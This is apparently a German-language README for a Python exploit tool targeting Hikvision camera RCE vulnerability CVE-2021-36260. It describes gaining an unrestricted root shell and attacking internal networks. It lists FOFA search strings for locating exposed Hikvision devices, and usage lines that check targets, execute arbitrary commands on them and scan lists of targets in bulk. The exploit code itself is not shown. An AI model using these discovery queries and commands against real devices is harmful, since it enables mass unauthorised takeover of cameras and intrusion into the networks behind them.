Hikvision CVE-2021-36260 RCE-Schwachstelle

Schwachstellenbeschreibung

Angreifer können diese Schwachstelle ausnutzen, um über eine uneingeschränkte Root-Shell die vollständige Kontrolle über das Gerät zu erlangen, selbst wenn der Eigentümer des Geräts auf eine eingeschränkte, geschützte Shell (psh) begrenzt ist. Neben dem Eindringen in IP-Kameras können sie auch auf das interne Netzwerk zugreifen und dieses angreifen.

FOFA

header="Hikvision"			 
app="HIKVISION-视频监控"

Verwendung

python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --cmd "ls -la"
python ./CVE-2021-36260.py -f target.txt

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Start scanning url
  -f FILE, --file FILE  read the url from the file
  --check               Check if vulnerable
  --cmd CMD             execute cmd (i.e: "ls -l")

Ermöglicht das Auffinden von SRC-Schwachstellen in großen Mengen.

hikvision-unauthenticated-rce-cve-2021-36260

Beliebteste